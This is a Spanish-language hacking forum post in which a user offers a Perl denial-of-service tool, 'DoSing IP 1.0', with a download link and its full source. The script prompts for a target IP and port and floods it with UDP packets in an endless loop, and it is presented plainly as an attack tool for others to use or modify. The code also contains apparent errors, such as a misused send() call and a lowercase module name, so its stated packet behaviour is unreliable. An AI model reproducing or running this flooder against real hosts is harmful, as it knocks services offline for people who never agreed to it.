DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

  • 0 Respuestas
  • 2675 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado SkillmaX

  • *
  • Underc0der
  • Mensajes: 106
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://lab-skillmax.blogspot.com/
Buenas, repasé un poco el tema del perl que hace muchiiisiimo que no lo tocaba, me dio
por reelerme el asunto de los socks, recordé las cosas y pude codearme esta herramienta en perl.

Caracteristicas:


+ Envio de 30000 socks
+ Mayor rapidéz en el envio
+ UDP


Descarga de el archivo compilado:


http://shup.com/Shup/376121/Doss.pl

Source utilizado por si alguien quiere modificarlo:

Código: (perl) [Seleccionar]
#!/usr/bin/perl
print q(
=====================================================
            DDoS en perl
         Creado por SkillmaX
         www.indetectables.net
         www.hackingteam.org
          www.ash-labs.org
          www.level-23.org
   
=====================================================
);

use io::socket;

print "Introduzca la IP: ";
chop ($host = <stdin>);
print "Introduzca el puerto: ";
chop ($port = <stdin>);

{
$sock = IO::Socket::INET->new (
PeerAddr => $host,
PeerPort => $port,
Proto => 'udp') || die "$! Ha introducido algun dato incorrecto, vuelva a intentarlo";
}
packets:
while (1) {
$size = rand() * 30000 * 300000;
print ("$host:$port Conexión enviada: $size\n");
send($sock, 0, $size);
}
« Última modificación: Marzo 14, 2015, 09:50:24 am por Expermicid »